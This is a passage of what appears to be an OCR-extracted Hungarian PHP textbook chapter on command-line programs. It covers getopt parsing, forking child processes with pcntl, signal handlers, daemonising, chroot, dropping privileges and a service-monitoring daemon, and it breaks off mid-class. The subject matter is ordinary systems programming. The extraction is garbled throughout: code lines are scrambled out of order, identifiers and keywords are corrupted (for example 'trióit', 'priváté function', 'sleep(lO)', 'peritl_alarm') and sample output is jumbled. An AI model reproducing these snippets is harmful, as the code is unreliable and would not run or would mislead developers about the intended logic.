A getopt () visszatérési értéke egy tömb, ami egy kétdimenziós tömböt tartalmaz. Az első belső tömbben találhatók a rövid kapcsoló argumentumok, míg a másodikban a hosszú kapcsolók. A Console_Getopt: : readPHPARGV () segítségével az $argv változót is bevonhatjuk (ha például a php. ini állományban a register_argc_argv értéke of f). Én a getopt () szokványos kimenetét némileg zavarosnak találom. Jobban szeretem, ha a kapcsolók egyetlen, kulcs-érték párokból álló társításos tömbként jelennek meg, amelyben a kapcsoló neve a kulcs, értéke pedig a tömbérték. Az alábbi kódblokk ezt a hatást a Console_Getopt használatával éri el: function getOptions($default_opt, $shortoptions, $longoptions)
{

require_once "Console/Getopt.php"; $con = new Console_Getopt; $args = Console_Getopt::readPHPArgv(); $ret = $con->getopt($args, $shortoptions, $opts = array();

$longoptions);

foreach($ret[0] as $arr) { $rhs = ($arr[l] !== null)?$arr[1]:trióit (array _key_exists ($arr [0] , $opts)) { if(is_array($opts[$arr[0]])) { $opts[$arr[0]][] = $rhs; } else { $opts[$arr[0]] = array($opts[$arr[0]], $rhs); } } else { $opts[$arr[0]] = $rhs; } } if(is_array($default_opt)) { foreach ($default_opt as $k => $v) { if(!array_key_exists($k, $opts)) { $opts[$k] = $v; } } } return $opts; }

5. fejezet • Megvalósítás PHP nyelven: önálló programok

135

Ha egy kapcsolót többször adunk át, a hozzá tartozó érték az összes beállított érték tömbje lesz, ha pedig paraméter nélkül, a true logikai értéket kapja. A függvény alapértelmezett paraméterlistát is elfogad, amelyre akkor támaszkodik, ha nem adunk át mást. A függvény használatával az előző példát (help) így írhatjuk át: $shortoptions = "h"; $longoptions = array("file=", $ret = getOptions(null,

" h el p " ) ; $longoptions);

$shortoptions,

Ha ezt a -h --f ile=error. log paraméterekkel futtatjuk, a $ret tömb szerkezete a következő lesz: Array ( [h] => 1 [ -- fi l é ] => error.log )

Gyermekfolyamatok létrehozása és kezelése
A PHP nem tartalmaz natív támogatást a szálakhoz, így a Javához hasonló szálközpontú nyelvek felől érkező fejlesztőknek nehéz olyan programokat írniuk, amelyek egyszerre több feladatot végeznek el. Szerencsére nincs minden veszve: a PHP azzal támogatja a hagyományos Unix-több feladatosságot (multi tasking), hogy lehetővé teszi a folyamatoknak, hogy a pcntl_f ork () -on keresztül (ami a f ork () Unix rendszerhívást burkolja be) gyermekfolyamatokat indítsanak. A szolgáltatás (és minden pcntl_* függvény) engedélyezéséhez a PHP-t az --enable-pcntl kapcsolóval kell felépítenünk. Amikor a pcntl_f ork () -ot meghívjuk egy programban, új folyamat jön létre, és a hívás helyétől folytatja a program végrehajtását. Az eredeti folyamat ugyanonnan szintén folytatja a végrehajtást. Ez azt jelenti, hogy a programból két futó példányunk lesz: a szülőiaz eredeti folyamat) és a gyermek (az újonnan létrehozott folyamat). A pcntl_f ork () tényleg kétszer tér vissza - egyszer a szülőben, egyszer a gyermekben. A szülőben a visszatérési érték az újonnan létrehozott gyermek folyamatazonosítója (process ID, PID), a gyermekben pedig 0. Ennek alapján különböztethetjük meg a szülőt a gyermektől.

136

PHP fejlesztés felsőfokon

Az alábbi egyszerű program egy gyermekfolyamatot hoz létre:
#!/usr/bin/env php <?php if($pid = pcntl_fork()) { $my_pid = getmypid() ; print "My pid is $my_pid. pcntl_fork() return $pid, this is the parent\n"; } else { $my_pid = getmypidO; print "My pid is $my_pid. pcntl_fork() returned 0, this is the child\n"; } ?>

A program futtatása a következő kimenetet eredményezi: > . / 4.php My pid is 4286. pcntl_fork() return 42 87 , this is the parent My pid is 4287. pcntl_fork() returned 0, this is the child Észrevehetjük, hogy a pcntl_f ork () visszatérési értéke valóban a gyermekfolyamat PID-je. Ezenkívül, ha a programot többször futtatjuk, megfigyelhetjük, hogy néha a szülő, néha a gyermek ír először a képernyőre. Mivel különálló folyamatokról van szó, akkor kapnak processzoridőt, amikor az operációs rendszer megfelelőnek találja, nem pedig a szülő-gyermek kapcsolat alapján. A megosztott erőforrások bezárása Ha Unix környezetben leágaztatunk (fork) egy folyamatot, mind a szülő-, mind a gyermekfolyamat hozzáfér minden fájlerőforráshoz, ami a fork () meghívásakor nyitva van. Ez kényelmes módszernek tűnhet az erőforrások folyamatok közötti megosztására, de általában nem ez, amire szükségünk van. Mivel nincsenek vezérlési szerkezetek, amelyek megakadályoznák az erőforrások egyidejű elérését, az eredményként előálló bemenet és kimenet összekeveredhet. Fájlbemenet és -kimenet esetén ez többnyire a sorok összekeveredését okozza, bonyolult csatoló- (socket) I/O-nál - például adatbázis-kapcsolatoknál - viszont egyszerűen a folyamat összeomlásával jár. Mivel az említett hiba csak az erőforrások elérésénél jelentkezik, a védelemhez elegendő, ha szigorúan szabályozzuk, hol és mikor férhetünk hozzájuk. Mindazonáltal biztonságosabb és tisztább egyszerűen bezárni minden olyan erőforrást, amit közvetlenül a leágaztatás után nem használunk.

5. fejezet • Megvalósítás PHP nyelven: önálló programok

137

Változók megosztása
Ne feledjük: a leágaztatott folyamatok nem szálak. A pcntl_f ork () -kai létrehozott folyamatok önálló folyamatok, így a leágaztatás után az egyik folyamatban végrehajtott változómódosítások nem tükröződnek a többi folyamatban. Ha változókat szeretnénk megosztani folyamatok között, tárolásukra a megosztott memória bővítményeket vagy a 2. fejezetben bemutatott „tie" trükköt használhatjuk.

Takarítás a gyermekek után
Unix környezetben a használaton kívüli vagy elhalt folyamatok olyan folyamatok, amelyek befejezték futásukat, de állapotukról a szülőfolyamat nem értesült. (Ezt hívják a gyermekfolyamat betakarításának (reaping).) Egy felelősségteljes szülőfolyamat mindig betakarítja a gyermekeit. A PHP kétféle módszert ad a kilépő gyermekek kezelésére: • pcntl_wait($status, $options) - A pcntl_wait () a hívó folyamatot arra utasítja, hogy függessze fel futását, amíg minden gyermekfolyamat be nem fejeződik. A visszatérési érték a kilépő gyermekfolyamat PID-je, a $ status pedig a függvény visszatérési állapota lesz. a pcntl_wait () -hez, de csak a $pid által meghatározott folyamatra vár. A $status ugyanazt az információt tartalmazza, mint az előző függvény esetében. Mindkét függvény $options változója egy nem kötelező bitmező, amelyben az alábbi két paraméter egyike lehet: • WNOHANG - Nem várunk, ha a folyamatinformáció nem azonnal elérhető. • WUNTRACED — Információt adunk vissza azokról a gyermekekről, amelyek SIGTTIN, SIGTTOU, SIGSTP vagy SIGSTOP jelzés következtében álltak le. (Ezeket a jelzéseket a waitpid () normális esetben nem fogja el.) íme egy folyamat, amely megadott számú gyermekfolyamatot indít, majd befejeződésükre vár: # !/usr/bin/env php <?php def ine('PROCESS_COUNT', '5'); $children = array(); f o r ( $ i = 0; $i < PROCESS_COUNT; i f ( ( $ p i d = pcntl_fork()) == 0) { exit(child_main());
}

• pcntl_waitpid($pid, $status, $options) - Apcntl_waitpid() hasonló

$i ++)

{

138

PHP fejlesztés felsőfokon

else { $children[] = $pid; } } foreach($children as $pid) { $pid = pcntl_wait($status); íf(pcntl_wifexited($status)) { $code = pcntl_wexitstatus ($status) ,print "pid $pid returned exit code: $code\n"; } else { print "$pid was unnaturally terminated\n"; } } function child_main() { $my__pid = getmypid () ;

print "Starting child pid: $my_pid\n"; sleep(10) ; return 1; ^
?>

A példával kapcsolatban megjegyzendő, hogy a gyermekfolyamat által futtatandó kód teljes egészében a child_main () függvényben található. Itt csak a sleep (10) utasítást hajtjuk végre, de ezt összetettebb kódra is cserélhetjük. Emellett ha egy gyermekfolyamat befejeződik, és a pcntl_wait () hívás visszatér, az állapotot a pcntl_wif exited () függvénnyel ellenőrizhetjük, hogy tudjuk, a gyermek azért lépett ki, mert meghívta az exit () függvényt, vagy nem természetes halált halt. Ha az előbbi történt, az exit ()-nek átadott kódot a pcntl_wexitstatus ($status) hívással nyerhetjük ki. A kilépési állapotkódok 8 bites előjeles számok, így az érvényes értékek -127 és 127 között vannak. íme a program kimenete, ha futása nem szakad meg: > . / 5.php
Starting Starting Starting Starting Starting pid 4453 pid 4452 pid 4451 pid 4454 pid 4455 child pid 4451 child pid 4452 child pid 4453 child pid 4454 child pid 4455 returned exit code: returned exit code: returned exit code: returned exit code: returned exit code:

1 1 1 1 1

5. fejezet • Megvalósítás PHP nyelven: önálló programok

139

Ha ahelyett, hogy hagynánk a programot normálisan befejeződni, saját kezűleg „megöljük" egyik gyermekét, ilyen kimenetet kapunk:
> . / 5 .php Starting child pid 4459 Starting child pid 4460 Starting child pid 4461 Starting child pid 4462 Starting child pid 4463 4462 was unnaturally terminated pid 4463 returned exit code: 1 pid 4461 returned exit code: 1 pid 4460 returned exit code: 1 pid 4459 returned exit code: 1

Jelzések
A jelzések (signal) egyszerű utasításokat küldenek a folyamatoknak. Amikor a ki 11 héjparanccsal leállítunk egy folyamatot a rendszeren, valójában egy megszakítási jelzést küldünk (SIGINT). A legtöbb jelzésnek van alapértelmezett viselkedése (a SlGINT-é például a folyamat befejezése), de pár kivételtől eltekintve a jelzések elfoghatok és egy folyamaton belül egyéni módon kezelhetők. Az alábbi listában a leggyakoribb jelzéseket soroltuk fel (a teljes lista a signal(3) súgóoldalon található):

Saját jelzéskezelőt úgy jegyeztethetünk be, hogy egyszerűen meghatározunk egy függvényt, valahogy így: function sig_usrl($signal)
{

print "SIGUSR1 Caught.Xn";
}

140

PHP fejlesztés felsőfokon

Ezután a bejegyzés így történik: declare(ticks=l);
pcntl_signal(SIGUSR1, "sig_usrl");

Mivel a jelzések folyamatszinten érkeznek, nem pedig magán a PHP virtuális gépén belül, a motort utasítani kell arra, hogy figyelje őket és futtassa a pcntl visszahívható függvényeket. Ehhez be kell állítanunk a ticks végrehajtási utasítást (direktívát). A ticks arra utasítja a motort, hogy minden N utasítás után futtasson bizonyos visszahívható függvényeket. A jelzésvisszahívás lényegében üres utasítás, így a declare (ticks = l) azt mondja a motornak, hogy minden végrehajtott utasítás után jelzést kell keresnie. Az alábbiakban a többfolyamatos programok két leghasznosabb jelzéskezelőjét (SIGCHLD és SIGALRM) írjuk le, illetve más szokványos jelzéseket.
SIGCHLD

A SIGCHLD szokványos jelzéskezelő, amit olyan alkalmazásokban állítunk be, ahol több gyermeket indítunk. Az előző rész példáiban a szülőnek újra és újra meg kellett hívnia a pcntl_wait () és pcntl_waitpid () függvényeket, hogy valamennyi gyermek begyűjtéséről gondoskodhasson. A jelzések révén a gyermekfolyamatok befejeződésének eseményéről értesíthetjük a szülőfolyamatot, hogy tudja, gyermekeket kell begyűjtenie. A szülőfolyamat így saját logikát hajthat végre, nem kell, hogy csak várakozzon a gyermekek begyűjtésére. Először meg kell határoznunk egy visszahívható függvényt a SIGCHLD események kezelésére, íme egy egyszerű példa, amelyben eltávolítjuk a PID-et a globális $children tömbből, illetve kiírunk némi információt arról, mit is csinálunk: function sig_child($signal)
{

global $children; pcntl_signal(SIGCHLD, "sig_child"); fput s(STDERR, "Caught SIGCHLD\n") ; while(($pid = pcntl_wait($status, WNOHANG)) > 0) $children = array_diff($children, array($pid)); fputs(STDERR, "Collected pid $ p i d \ n " ) ;
} }

{

A SIGCHLD jelzés semmilyen információt nem szolgáltat arról, hogy melyik gyermekfolyamat fejeződött be, ezért meg kell hívnunk a pcntl_wait () -et, hogy megkeressük. Mivel a jelzéskezelő hívása közben több folyamat is befejeződhet, a pcntl_wait () hí-

5. fejezet • Megvalósítás PHP nyelven: önálló programok

141

vasnak addig kell ismétlődnie, amíg nem marad futó folyamat, hogy biztosak lehessünk benne, hogy mindet begyűjtöttük. A WNOHANG kapcsolót használjuk, ezért a hívás nem akad el a szülőfolyamatban. A legtöbb modern jelzésszolgáltatás visszaállítja a jelzéskezelőt a hívása után, de hogy régebbi rendszereken is működjön, saját kezűleg is mindig vissza kell állítanunk a híváson belül. Ha a SIGCHLD kezelőt az előző példához adjuk, a kód így fog festeni:
#!/usr/bin/env php <?php declare(ticks=l); pcntl_signal(SIGCHLD, "sig_child"); define( 'PROCESS_COUNT', ' 5 ' ) ; $children = array(); for($i = 0; $i < PROCESS_COUNT; $i++) { if(($pid = pcntl_fork()) == 0) { exit(child_main()); } else { $children[] = $pid; } } while($children) { sleep(lO); // vagy valamilyen szülőkód végrehajtása } peritl_alarm(0) ; function child_main() { sleep(rand(0, 10)); return 1; }

// vagy valamilyen gyermekkód végrehajtása

function sig_child($signal)
{

global $children; pcntl_signal(SIGCHLD, "sig_child"); fputs(STDERR, "Caught SIGCHLD\n"); while( ( $ p i d = pcntl_wait($status, WNOHANG)) > 0) $children = array_diff($children, array($pid)); if (!pcntl_wifexited($status)) { fputs(STDERR, "Collected killed pid $ p i d \ n " ) ;
}

{

142

PHP fejlesztés felsőfokon

else { fputs(STDERR,
} } } ?>

"Collected exited pid $ pi d \n " );

Ha a fenti kódot futtatjuk, az alábbi kimenetet kapjuk:
> ./8.php Caught SIGCHLD Collected exited Caught SIGCHLD Collected exited Caught SIGCHLD Collected exited Caught SIGCHLD Collected exited Caught SIGCHLD Collected exited

pid 5000 pid 5003 pid 5001 pid 5002 pid 5004

SIGALRM

Egy másik hasznos jelzés a SIGALRM, a riasztó jelzés. A riasztások (alarm) lehetővé teszik, hogy kihátráljunk egy feladatból, ha annak végrehajtása túl sokáig tartana. Riasztás használatához meg kell határoznunk egy jelzéskezelőt, be kell jegyeztetnünk, majd a pcntl_alarm() hívásával be kell állítanunk az időzítést. Amikor a megadott idő lejár, a folyamathoz SIGALRM jelzés érkezik. íme egy jelzéskezelő, ami végigfut a $children-ben maradt PID-eken, és (a Unix kill héjparancsával egyenértékű) SIGINT jelzést küld nekik: function sig_alarm($signal)
{

global $children; fputs(STDERR, "Caught SIGALRM\n"); foreach ($children as $pid) { posix_kill($pid, SIGINT);
} }

Figyeljük meg a posix_kill () használatát. Ez a függvény a megadott jelzést küldi az adott folyamatnak.

5. fejezet • Megvalósítás PHP nyelven: önálló programok

143

A SIGCHLD-kezelő mellett a sig_alarm() SIGALRM-kezelőt is be kell jegyeztetnünk, és a következőképpen kell módosítanunk a főblokkot: declare(ticks=l); pcntl_signal(SIGCHLD, "sig_child"); pcntl_signal(SIGALRM, "sig_alarm"); define('PROCESS_COUNT', '5'); $children = array(); pcntl_alarm(5); for($i =0; $i < PROCESS_COUNT; $i++) { if(($pid = pcntl_fork()) == 0) ( exit (child__main () ) ; } else { $children[] = $pid;
} }

while($children) sleep(lO);
}

{ // vagy valamilyen szülőkód végrehajtása

pcntl_alarm(0); Fontos, hogy ne felejtsük el a riasztási időzítőt 0-ra állítani, amikor már nincs rá szükség, másképp akkor is el fog indulni, amikor nem számítunk rá. A programot az említett módosításokkal futtatva az alábbi kimenetet kapjuk: > . /9.php Caught SIGCHLD Collected exited pid 5011 Caught SIGCHLD Collected exited pid 5013 Caught SIGALRM Caught SIGCHLD Collected killed pid 5014 Collected killed pid 5012 Collected killed pid 5010 Ebben a példában a szülőfolyamat a riasztást arra használja, hogy (a folyamatokat befejezve) eltakarítson minden gyermekfolyamatot, amelyek túl sok időt vesznek igénybe.

144

PHP fejlesztés felsőfokon Egyéb szokványos jelzések Az említetteken kívül más jelzésekhez is szükség lehet kezelőkre; ilyen szokványos kezelők a SIGHUP, a SIGUSR1 és a SIGUSR2. Ha egy folyamathoz e jelzések bármelyike érkezik, az alapértelmezett viselkedés a folyamat befejezése. A SIGHUP küldésére akkor kerül sor, ha a terminállal megszakad a kapcsolat (amikor a héj kilép). A héj háttérben futó folyamatai jellemzően akkor fejeződnek be, amikor az adott terminál munkamenetéből kijelentkezünk. Ha egyszerűen figyelmen kívül hagynánk ezeket a jelzéseket, az alábbi kóddal utasíthatjuk erre a programot:
pcntl_signal(SIGHUP, SIGIGN);

Az említett három jelzés figyelmen kívül hagyásánál gyakoribb, hogy egyszerű parancsok küldésére használjuk őket, például hogy a folyamat újraolvasson egy beállítófájlt, újból megnyisson egy naplófájlt vagy valamilyen állapotinformációt írjon ki.

Démonok írása
A démonok olyan folyamatok, amelyek a háttérben futnak, ami azt jelenti, hogy ha egyszer elindultak, nem fogadnak bemenetet a felhasználó termináljáról, és nem lépnek ki, amikor a felhasználó munkamenete befejeződik. Elindításuk után a démonok hagyományosan „örökké" futnak (amíg le nem állítják őket), hogy rendszeresen ismétlődő feladatokat hajtsanak végre, vagy olyan feladatokat, amelyek nem érnek véget a felhasználó munkamenetével. Az Apache webkiszolgáló, a sendmail, illetve a crond szokványos démonok, amelyek valószínűleg az olvasó gépén is futnak. A parancsállományokból démonokat készíteni akkor célszerű, ha hosszú vagy a háttérben ismétlődő feladatokat kell elvégeznünk. Ahhoz, hogy sikeresen démont készíthessünk belőle, egy folyamatnak az alábbi két feladatot kell végrehajtania: • Folyamatelválasztás • Folyamatfüggetlenítés Egy jól megírt démon emellett a következőket is végrehajthatja: • Munkakönyvtár beállítása • Kiváltságok megszüntetése • A kizárólagosság biztosítása

5. fejezet • Megvalósítás PHP nyelven: önálló programok

145

A folyamatelválasztásról már ejtettünk szót a fejezetben, amikor a gyermekfolyamatok létrehozásáról és kezeléséről beszéltünk. A folyamatok démonná tétele hasonlóan történik, de a szülőfolyamatot bezárjuk, hogy az egyetlen futó folyamat elváljon tőle. Ehhez végre kell hajtanunk a pcntl_f ork () -ot, és kilépni, ha a szülőfolyamatban vagyunk (vagyis ha a visszatérési érték nullánál nagyobb). A Unix rendszereken a folyamatok folyamatcsoportokat alkotnak, ezért a csoport „vezetőjének" kilövésével minden hozzá tartozó folyamat is befejeződik. Mindennek, amit egy adott héjon belül indítunk, a héjfolyamat a szülője, ezért lehetséges, hogy létrehozunk egy új folyamatot a f ork () -kai és semmi mást nem csinálunk, de a folyamat mégis véget ér, amikor a héjt bezárjuk. Ahhoz, hogy ezt elkerüljük, a leágaztatott folyamatnak függetlenítenie kell magát a szülőjétől. Ezt a pcntl_setsid () meghívásával érhetjük el, ami a hívó folyamatot saját folyamatcsoportjának vezetőjévé teszi. Végül, ahhoz, hogy elvághassunk minden köteléket a szülő és a gyermek között, a folyamatot még egyszer le kell ágaztatnunk; ezzel válik az elválasztás teljessé. Kódban mindez így fest: r-

if(pcntl_fork()) exit ;
}

{

pcntl_setsid(); if(pcntl_fork()) exit ;
}

{

# a folyamat most már démon Fontos, hogy a szülő a pcntl_f ork () mindkét hívása után kilépjen, másképp több folyamat fogja végrehajtani ugyanazt a kódot.

A munkakönyvtár megváltoztatása
Amikor démont írunk, általában tanácsos beállítatni vele a munkakönyvtárát. így ha bármilyen fájlból relatív elérési úton keresztül olvasunk, vagy így írunk bele, az állományt ott találjuk, ahol számítunk rá. Az elérési út minősítése önmagában is mindig jó ötlet, ahogy a védekező kódolás is. A munkakönyvtár megváltoztatásának legbiztonságosabb módja, ha nem csak a chdir (), hanem a chroot () utasítást is használjuk. A chroot () a PHP CLI és CGI változatain belül is elérhető; a programot rendszergazdaként (root) kell futtatnunk. A chroot () a folyamat gyökérkönyvtárát a megadott könyvtárra változtatja, így lehetetlenné válik olyan fájlok végrehajtása, amelyek nem ebben a könyvtárban találhatók. A programot biztonsági eszközként gyakran használják a kiszolgálók, hogy megakadályozzák, hogy valamilyen rosszindulatú kód fájlokat módosítson a megadott könyvtáron kívül. Mindazonáltal észben kell tartanunk, hogy bár a chroot ()

146

PHP fejlesztés felsőfokon

megakadályozza az új gyökérkönyvtáron kívüli állományok elérését, a már megnyitott fájlerőforrások továbbra is hozzáférhetők maradnak. Az alábbi kód például megnyit egy naplófájlt, majd a chroot () meghívásával egy adatkönyvtárra vált, mégis képes sikeresen a megnyitott fájlba írni:
<?php $logfile = fopen("/var/log/chroot.log", "w"); chroot("/Users/george"); fputs($logfile, "Hello From Inside The Chroot\n"); ?>

Ha a chroot () használata nem elfogadható egy alkalmazás számára, a munkakönyvtárat a chdir () meghívásával állíthatjuk be. Ez akkor lehet hasznos, ha a programnak olyan kódot kell betöltenie, ami a rendszeren belül bárhol lehet. A chdir () nem akadályozza meg a nem engedélyezett állományok megnyitását, csupán egyfajta jelképes védelmet nyújt a hanyag kódok ellen. A kiváltságok feladása A Unix démonok írásakor szokásos biztonsági intézkedés, hogy megszüntetünk minden felesleges kiváltságot. A szükségtelen jogosultságok birtoklása ugyanolyan biztonsági kockázatot jelent, mintha hozzáférnénk az adott területen kívül eső állományokhoz. Ha a kódnak (vagy magának a PHP-nek) van valamilyen kiaknázható gyengesége, a veszélyt azzal csökkenthetjük a lehető legkisebbre, ha a démont azon felhasználó nevében futtatjuk, akinek a legkevesebb jogosultsága van fájlok módosítására a rendszeren. Ennek egyik módja, ha egyszerűen kiváltság nélküli felhasználóként futtatjuk a démont. Ez azonban nem megfelelő, ha a programnak induláskor olyan erőforrásokat (naplófájlokat, adatfájlokat, csatolókat stb.) kell megnyitnia, amelyek a kiváltság nélküli felhasználó számára nem hozzáférhetők. Ha rendszergazdaként tevékenykedünk, a kiváltságokat a posix_setuid () és posix_setgid () függvényekkel adhatjuk fel. Az alábbi példában a futó program kiváltságait a nobody nevű felhasználó jogosultságaira változtatjuk: $pw= posix_getpwnam('nobody'); posix_setuid($pw[' u i d ' ]); posix_setgid($pw['gid' ] ) ; A chroot () -hoz hasonlóan a kiváltságok megszüntetése előtt megnyitott erőforrások itt is nyitva maradnak, de újak nem hozhatók létre.

5. fejezet • Megvalósítás PHP nyelven; önálló programok

147

A kizárólagosság biztosítása
Gyakran lehet szükség arra, hogy egy programnak egyszerre csak egyetlen példánya futhasson. Démon készítésekor ez különösen fontos, mert a háttérben futás miatt könnyű véletlenül több példányt meghívni. A kizárólagosság biztosításának szabványos módja egy fájl (általában egy kizárólag erre a célra használt zárolófájl) zárolása az f lock () függvénnyel. Ha a zárolás nem sikerül, a programnak hibaüzenettel ki kell lépnie. íme egy példa: $fp = fopen("/tmp/.lockfile", " a " ) ; i f ( ! $ f p II !flock($fp, LOCK_EX | LOCK_NB)) {
fputs(STDERR, "Failed to acquire lock\n"); exit ; } /* A zárolás sikerült, biztonságosan dolgozhatunk. */

A zárolásról részletesebben a 10. fejezetben ejtünk szót.

A tanultak összefoglalása: figyelőszolgálat
Ebben a részben összefoglaljuk a fejezetben eddig tanultakat, és egy alapszintű figyelőmotort írunk PHP nyelven. Mivel nem tudhatjuk, milyen szolgáltatásokra lehet később még szükségünk, igyekszünk olyan rugalmassá tenni, amennyire csak lehet. A naplózónak támogatnia kell tetszőleges szolgáltatások (például a HTTP vagy az FTP) figyelését, és képesnek kell lennie arra, hogy az eseményeket tetszőleges módon (elektronikus levélbe írva, naplófájlba rögzítve stb.) naplózza. Természetesen démonként szeretnénk futtatni, ezért tudnunk kell lekérdezni az aktuális állapotát. A szolgáltatásnak a következő elvont osztályt kell megvalósítania: abstract class ServiceCheck { const FAILURE = 0; const SUCCESS = 1; protected protected protected protected protected protected protected protected protected protected $timeout = 30; $next_attempt; $current_status = ServiceCheck::SUCCESS; $previous_status = ServiceCheck::SUCCESS; $frequency = 30; $description; $consecutive_failures a 0; $status_time; $failure_time; $loggers = array();

148

PHP fejlesztés felsőfokon

abstract public function _ construct($params); public function __call($name, $args) { if (isset($this->$name)) { return $this->$name; } } public function set_next_attempt() { $this->next_attempt = time() + $this->frequency; } publi abstract function run();

public function post_run($status) { if($status !== $this->current_status) { $this->previous_status = $this->current_status; } if($status === self::FAILURE) { if( $this->current_status === self::FAILURE ) { $this->consecutive_failures++; } else { $this->failure_time = time(); } } else { $this->consecutive_failures = 0; } $this->status_time = time(); $this->current_status = $status; $this->log_service_event(); } public function log_current_status() { foreach($this->loggers as $logger) { $logger->log_current_status($this); } } priváté function log_service_event() { foreach($this->loggers as $logger) { $logger->log_service_event($this); } }

5. fejezet • Megvalósítás PHP nyelven: önálló programok public function register_logger(ServiceLogger $logger)
{

149

$this->loggers[ ] = $logger;
} }

A__ call () tagfüggvény kizárólag olvasásra biztosít hozzáférést a ServiceCheck objektumok paramétereihez, amelyek a következők: • timeout - Mennyi ideig várakozhat a figyelő, mielőtt a motor leállítaná. • next_attempt - Mikor kell újra megpróbálni az adott kiszolgálóhoz való kapcsolódást. • current_status - A szolgáltatás aktuális állapota (SUCCESS vagy FAILURE). • previous_status - Az aktuális előtti állapot. • f requency - Milyen gyakran kell ellenőrizni a szolgáltatás jelenlétét. • description — A szolgáltatás leírása. • consecutive f ailures - Egymás után hány sikertelen keresés történt az utolsó sikeres próbálkozás óta. • status_time - A szolgáltatás utolsó ellenőrzésének időpontja. • failure_time — Ha az állapot FAILURE, a sikertelen kísérlet ideje. Az osztály a megfigyelő mintát is megvalósítja, ezzel megengedi a ServiceLogger típusú objektumoknak, hogy bejegyezzék magukat, így bárhol meghívhatok, ahol log_current_status () vagy log_service_event () hívás történik. A legfontosabb megvalósítandó függvény a run (), amely meghatározza, hogyan kell futtatni a figyelőt. Ha a szolgáltatáskeresés sikerrel jár, SUCCESS-t, ha nem, FAILURE-t ad vissza. A post_run () tagfüggvény meghívására azután kerül sor, hogy a run () -ban meghatározott szolgáltatásfigyelő visszatért. Feladata az objektum állapotának beállítása, illetve a naplózás. A ServiceLogger felület szerint egy naplózó osztálynak csak két tagfüggvényt kell megvalósítania - log_service_event () és log_current_status () -, amelyek akkor hívódnak meg, amikor a run () figyelője visszatér, illetve általános állapotkérés érkezik. A felület így néz ki:
interface ServiceLogger { public function log_service_event(ServiceCheck $service); public function log_current_status(ServiceCheck $service); }

150

PHP fejlesztés felsőfokon

Végül meg kell írnunk magát a motort. Az alapötlet hasonló, mint a fejezet Démonok írása című részében szereplő egyszerű programoknál: a kiszolgáló új folyamatot ágaztat le az egyes ellenőrzések végrehajtására, és egy SIGCHLD kezelővel ellenőrzi azok visszatérési értékét. Az egyszerre végrehajtható ellenőrzések száma beállítható kell legyen, hogy megakadályozzuk a rendszer erőforrásainak kimerítését. Minden szolgáltatást és naplózást egy XML fájlban határozunk meg. A következő kód a ServiceCheckRunner osztályé, amely meghatározza a motort: class ServiceCheckRunner { priváté $num_children; priváté $services = array(); priváté $children = array(); public function ______construct($conf, $num_children)
{

$loggers = array(); $this->num_children = $num_children; $conf = simplexml_load_file($conf) ; foreach($conf->loggers->logger as $logger) { $class = new Reflection_Class("$logger->class"); if ($class->islnstantiable()) { $loggers["$logger->id"] = $class->newlnstance(); } else { fputs(STDERR, "{$logger->class} cannot be instantiated.\n"); exit ; } } foreach($conf->services->service as $service) { $class = new Reflection_Class("$service->class"); if ($class->islnstantiable()) { $item = $class->newlnstance($service->params); foreach($service->loggers->logger as $logger) { $item->register_logger($loggers["$logger"])j } $this->services[] = $item; } else { fputs(STDERR, "{$service->class} is not instantiable.\n") ; exit; } } }

5. fejezet • Megvalósítás PHP nyelven: önálló programok

151

priváté function next_attempt_sort($a, $b) { if($a->next_attempt() == $b->next_attempt()) { return 0; } return ($a->next_attempt() < $b->next_attempt()) ? -1 : 1; } priváté function next() { usort($this->services, array($this,'next_attempt_sort')); return $this->services[0]; } public function loop() { declare(ticks=l); pcntl_signal(SIGCHLD, array($this, "sig_child")); pcntl_signal(SIGUSR1, array($this, "sig_usrl")); while(l) { $now = time(); if(count($this->children) < $this->num_children) { $service = $this->next(); if($now < $service->next_attempt()) { sleep(1); continue; } $service->set_next_attempt(); if($pid = pcntl_fork()) { $this->children[$pid] = $service; } else { pcntl_alarm($service->timeout()); exit($service->run()); } } } } public function log_current_status() { foreach($this->services as $service) { $service->log_current_status(); } } priváté function sig_child($signal) { $status = ServiceCheck::FAILURE;

152

PHP fejlesztés felsőfokon

pcntl_signal(SIGCHLD, array($this, "sig_child")); while(($pid = pcntl_wait($status, WNOHANG)) > 0) { $service = $this->children[$pid]; unset($this->children[$pid]); if(pcntl_wifexited($status) && pcntl_wexitstatus($status) == ServiceCheck::SUCCESS) { $status = ServiceCheck::SUCCESS; } $service->post_run($status); } } priváté function sig_usrl($signal)
{

pcntl_signal(SIGUSR1, array($this, $this->log_current_status();
} }

"sig_usrl"));

Ez egy meglehetősen kidolgozott osztály. A konstruktőr beolvas és feldolgoz egy XML állományt, ezáltal létrehozza a figyelendő szolgáltatásokat, illetve az azokat rögzítő naplózókat. A részletekre hamarosan kitérünk. A loop () tagfüggvény az osztály fő metódusa. Feladata, hogy beállítsa a kívánt jelzéskezelőket, illetve hogy ellenőrizze, létrehozható-e új gyermekfolyamat. Ha a következő esemény (amit a next_attempt időbélyegzővel vezérlünk) futtatható, új folyamatot ágaztatunk le. A gyermekfolyamaton belül egy riasztás gondoskodik róla, hogy az ellenőrzés ne tarthasson tovább a timeout értékénél, majd a run () által meghatározott ellenőrzés végrehajtására kerül sor. Két jelzéskezelőnk van. A sig_child () nevű SIGCHLD kezelő begyűjti a befejezett gyermekfolyamatokat, és végrehajtja szolgáltatásuk post_run () tagfüggvényét. A sig_usrl () nevű SIGUSR1 kezelő egyszerűen meghívja a bejegyzett naplózok log_current_status () tagfüggvényeit, amelyekkel lekérdezhető a teljes rendszer állapota. A figyelőrendszer önmagában persze nem csinál semmit; működéséhez legalább egy figyelendő szolgáltatásra van szükség. Az alábbi osztály azt ellenőrzi, hogy egy HTTP kiszolgálótól 200 Server OK választ kaptunk-e: class HTTP_ServiceCheck extends ServiceCheck
{

public $url;
public function __ construct($params) {

5. fejezet • Megvalósítás PHP nyelven: önálló programok

153

foreach($params as $k => $v) $k = "$k"; $this->$k = "$v";
} }

{

public function run()
{

if (is_resource(Sfopen($this->url, " r " ) ) ) return ServiceCheck::SUCCESS;
}

{

else { return ServiceCheck::FAILURE;
} } }

A korábban felépített keretrendszerrel összevetve ez a szolgáltatás kifejezetten egyszerű és éppen ez a lényeg: az erőfeszítés a keretrendszer építésére korlátozódik, míg a bővítés igen könnyű. Példaként lássunk egy olyan ServiceLogger folyamatot, amely e-mailben értesíti az illetékest, ha egy szolgáltatás leáll: class EmailMe_ServiceLogger implements ServiceLogger { public function log_service_event(ServiceCheck $service)
{

